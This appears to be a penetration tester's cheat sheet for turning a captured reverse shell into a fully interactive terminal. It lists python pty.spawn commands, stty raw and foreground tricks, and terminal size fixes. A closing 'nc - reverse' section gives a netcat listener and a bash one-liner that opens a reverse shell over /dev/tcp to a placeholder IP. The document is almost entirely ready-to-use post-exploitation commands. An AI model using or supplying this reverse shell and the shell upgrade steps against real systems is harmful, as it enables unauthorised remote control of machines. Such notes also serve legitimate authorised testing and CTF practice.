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# Shell TTY Fix

## Shell Stuck - Get Real TTY shell

## python

```python
python -c 'import pty; pty.spawn("/bin/sh")'     ..partially interactive
python -c 'import pty; pty.spawn("/bin/bash")'   ..prettier
python3 -c 'import pty;pty.spawn("/bin/bash")'   ..python3
(CTRL+ Z)                                        ..background session
stty raw -echo                                   ..send keyboard to shell
stty raw -echo;fg                                ..could combine these
fg                                               ..foreground
enter (several times)                            ..help wake up
export TERM=xterm-color                          ..allows shell to clear screen
reset                                            ..maybe?
```

```python
Fix Weird Spacing:
stty -a                                          ..check 'normal' terminal
rows 38; columns 146                             ..example
stty rows 38 columns 146                         ..Update remote to match
```

## nc - reverse

```
nc -nvlp 5555
bash -i >& /dev/tcp/10.x.x.x/5555 0>&1
```


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